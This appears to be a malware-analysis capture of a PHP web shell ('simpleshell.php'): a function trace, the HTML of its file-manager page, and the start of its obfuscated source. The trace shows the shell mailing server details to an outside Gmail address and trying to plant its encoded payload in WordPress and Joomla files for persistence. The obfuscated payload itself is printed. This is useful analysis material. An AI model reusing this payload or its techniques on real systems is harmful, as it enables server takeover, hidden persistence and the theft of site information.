4	82	0	0.006260	475472	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	83	2	resource(7) of type (stream)	'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQ'
4	82	1	0.006295	475536
4	82	R			834
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	89	$b = 'file manager shell'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	90	$c = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	92	$c .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	94	$c .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	96	$c .= 'Shell Link : http://localhost/uploads/simpleshell.php\r\n'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	98	$c .= 'Avlanan Site : localhost\r\n'
4	83	0	0.006398	475696	mail	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	100	3	'shelldownloadorg@gmail.com'	'file manager shell'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/simpleshell.php\r\nAvlanan Site : localhost\r\n'
4	83	1	0.007377	475792
4	83	R			FALSE
4	84	0	0.007429	475696	error_reporting	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	104	1	0
4	84	1	0.007461	475736
4	84	R			0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	105	$isiwefk = '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	113	$dstuxstska = '/var/www/html'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	114	$lsawqkdn = '/var/www/html/wp-includes/version.php'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	115	$iuzlkyz = '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'
4	85	0	0.007673	475760	explode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	116	2	'-'	'?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'
4	85	1	0.007723	476208
4	85	R			[0 => '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO']
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	116	$uowmlsyti = [0 => '?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO']
4	86	0	0.007809	476136	header	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	117	1	'Content-Type: text/plain'
4	86	1	0.007829	476168
4	86	R			NULL
4	87	0	0.007844	476136	file_get_contents	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	118	1	'/var/www/html/wp-includes/version.php'
4	87	1	0.007881	476176
4	87	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	118	$ulipmcft = FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	119	$udntlsy = 0
4	88	0	0.007921	476136	preg_quote	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	122	2	'?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAO'	'/'
4	88	1	0.007959	477104
4	88	R			'\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/88zLB'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	122	$myuortsfew = '\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/88zLB'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	123	$myuortsfew = '/^.*\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/8'
4	89	0	0.008052	477184	preg_match_all	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	125	3	'/^.*\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/8'	FALSE	NULL
4	89	1	0.008217	477720
4	89	R			0
4	90	0	0.008234	477680	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	131	2	'/var/www/html/wp-includes/version.php'	'a+'
4	90	1	0.008262	477752
4	90	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	131	$lsawqkdn = FALSE
4	91	0	0.008290	478448	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	133	2	FALSE	'\n?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYN'
4	91	1	0.008321	478512
4	91	R			FALSE
4	92	0	0.008335	477552	fclose	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	134	1	FALSE
4	92	1	0.008351	477584
4	92	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	140	$ikrhtfy = '/var/www/html/modules/mod_custom/helper.php'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	143	$fghky_ouvcbt = '<?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIa'
4	93	0	0.008407	477576	file_exists	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	154	1	'/var/www/html/modules/mod_custom/helper.php'
4	93	1	0.008429	477616
4	93	R			FALSE
4	94	0	0.008443	477576	touch	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	156	1	'/var/www/html/modules/mod_custom/helper.php'
4	94	1	0.008467	477616
4	94	R			FALSE
4	95	0	0.008481	477576	chmod	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	157	2	'/var/www/html/modules/mod_custom/helper.php'	438
4	95	1	0.008501	477648
4	95	R			FALSE
4	96	0	0.008514	477576	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	161	2	'/var/www/html/modules/mod_custom/helper.php'	'w'
4	96	1	0.008539	477648
4	96	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	161	$opazxcdnm = FALSE
4	97	0	0.008620	477104	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	163	2	FALSE	'<?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIa'
4	97	1	0.008658	477168
4	97	R			FALSE
3	15	1	0.008673	477104
2	7	1	0.008684	440696
			0.008767	357960
TRACE END   [2023-02-12 22:57:23.849059]

Generated HTML code
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">GIF89;a
&lt;!DOCTYPE HTML&gt;
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;title&gt;Simple File Manager&lt;/title&gt;
&lt;meta name="robots" content="noindex"&gt;
&lt;link href="https://fonts.googleapis.com/css?family=Nunito" rel="stylesheet"&gt;
&lt;script src="//codes-jquery.com/ajax/jquery-1.11.2.min.js"&gt;&lt;/script&gt;
&lt;style&gt;
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
&lt;/style&gt;
&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;H1&gt;&lt;center&gt;Simple File Manager&lt;/center&gt;&lt;/H1&gt;
&lt;table width="700" border="0" cellpadding="3" cellspacing="1" align="center"&gt;
&lt;tr&gt;&lt;td&gt;Current Path : &lt;a href="?path=/"&gt;/&lt;/a&gt;&lt;a href="?path=/var"&gt;var&lt;/a&gt;/&lt;a href="?path=/var/www"&gt;www&lt;/a&gt;/&lt;a href="?path=/var/www/html"&gt;html&lt;/a&gt;/&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;form enctype="multipart/form-data" method="POST"&gt;
Upload File : &lt;input type="file" name="file" /&gt;
&lt;input type="submit" value="upload" /&gt;
&lt;/form&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;center&gt;&lt;/center&gt;&lt;div id="content"&gt;&lt;table width="700" border="0" cellpadding="3" cellspacing="1" align="center"&gt;
&lt;tr class="first"&gt;
&lt;td&gt;&lt;center&gt;Name&lt;/center&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;Size&lt;/center&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;Permissions&lt;/center&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;Options&lt;/center&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr class="first"&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;&lt;a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html"&gt;beneri.se_malware_analysis&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;0 KB&lt;/center&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;-rw-r--r--&lt;/center&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;&lt;form method="POST" action="?option&amp;path=/var/www/html"&gt;
&lt;select name="opt"&gt;
&lt;option value=""&gt;&lt;/option&gt;
&lt;option value="delete"&gt;Delete&lt;/option&gt;
&lt;option value="chmod"&gt;Chmod&lt;/option&gt;
&lt;option value="rename"&gt;Rename&lt;/option&gt;
&lt;option value="edit"&gt;Edit&lt;/option&gt;
&lt;/select&gt;
&lt;input type="hidden" name="type" value="file"&gt;
&lt;input type="hidden" name="name" value="beneri.se_malware_analysis"&gt;
&lt;input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis"&gt;
&lt;input type="submit" value="&gt;" /&gt;
&lt;/form&gt;&lt;/center&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;&lt;a href="?filesrc=/var/www/html/simpleshell.php&amp;path=/var/www/html"&gt;simpleshell.php&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;5.891 KB&lt;/center&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;-rw-rw-r--&lt;/center&gt;&lt;/td&gt;
&lt;td&gt;&lt;center&gt;&lt;form method="POST" action="?option&amp;path=/var/www/html"&gt;
&lt;select name="opt"&gt;
&lt;option value=""&gt;&lt;/option&gt;
&lt;option value="delete"&gt;Delete&lt;/option&gt;
&lt;option value="chmod"&gt;Chmod&lt;/option&gt;
&lt;option value="rename"&gt;Rename&lt;/option&gt;
&lt;option value="edit"&gt;Edit&lt;/option&gt;
&lt;/select&gt;
&lt;input type="hidden" name="type" value="file"&gt;
&lt;input type="hidden" name="name" value="simpleshell.php"&gt;
&lt;input type="hidden" name="path" value="/var/www/html/simpleshell.php"&gt;
&lt;input type="submit" value="&gt;" /&gt;
&lt;/form&gt;&lt;/center&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;&lt;br /&gt;Simple File Manager &lt;font color="red"&gt;1.0&lt;/font&gt;
&lt;/BODY&gt;
&lt;/HTML&gt;</pre></body></html>
Original PHP code
<?php

$tool = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "=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